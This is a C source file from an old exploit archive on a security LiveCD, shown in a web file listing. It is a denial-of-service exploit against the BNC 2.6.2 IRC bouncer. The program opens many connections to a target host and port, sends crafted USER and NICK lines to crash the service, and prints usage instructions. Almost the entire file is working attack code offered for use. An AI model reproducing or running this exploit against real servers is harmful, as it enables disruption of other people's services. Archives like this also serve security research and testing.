home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / bnc / bnc-shiznit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  64 lines

  1. /* shiznit.c 1.2 - exploits bnc2.6.2 - shutdown bug -datalogik@chatnet[#nw/#bitchx] 01/01/99 */
  2. /* greets; #nw, #bitchx, icex, drseuss, g0t-milk, virii, zap, and the rest of em...    [2000]*/
  3.  
  4. /* this kills bnc 2.6.2 when supplied with the port. loads as many clones as you want on
  5.    it and kills them before the bnc can identify them. - datalogik */
  6.  
  7. #include <stdio.h>
  8. #include <netdb.h>
  9. #include <string.h>
  10. #include <netinet/in.h>
  11. #include <sys/socket.h>
  12. #include <arpa/inet.h>
  13. #include <sys/types.h>
  14. #include <sys/time.h>
  15. #include <unistd.h>
  16. #include <stdlib.h>
  17. #include <errno.h>
  18.  
  19. #define L 256
  20.  
  21. struct hostent *server;
  22. struct sockaddr_in bnc;
  23. int clones,port;
  24.  
  25. int main(int argc, char *argv[])
  26. {
  27.   int i;
  28.   int sock;
  29.   char buffer[L];
  30.   if (argc < 4)
  31.     {
  32.       printf("ā”Œ usage; %s <server> <port> <clones> \nā””ā”€- -> %s shiznit.com 9000 300\n", argv[0], argv[0]);
  33.       exit(0);
  34.     }
  35.   if ((server = gethostbyname(argv[1])) == NULL)
  36.     {
  37.       printf("Can not resolve server.\n", argv[1]);
  38.       exit(0);
  39.     }
  40.   port=atoi(argv[2]);
  41.   clones=atoi(argv[3]);
  42.   for(i = 0;i < clones; i++)
  43.     {
  44.       bcopy(server->h_addr, &bnc.sin_addr, server->h_length);
  45.       bnc.sin_family = AF_INET;
  46.       bnc.sin_port = htons(port);
  47.       if((sock = socket(AF_INET, SOCK_STREAM, 6)) == -1)
  48.         {
  49.           printf("error; couldnt create raw socket\n", argv[1]);
  50.           exit(0);
  51.         }
  52.       connect(sock, (struct sockaddr *) &bnc, sizeof(bnc));
  53.       sprintf(buffer, "USER die - -: %s\n", argv[1]);
  54.       write(sock, buffer, strlen(buffer));
  55.       sprintf(buffer, "NICK die\n", argv[1]);
  56.       write(sock, buffer, strlen(buffer));
  57.       bzero(buffer, L);
  58.  
  59.     }
  60.   printf("Clones connected, exploit finished.\n", argv[1]);
  61. }
  62.  
  63.  
  64. /*                    www.hack.co.za              [2000]*/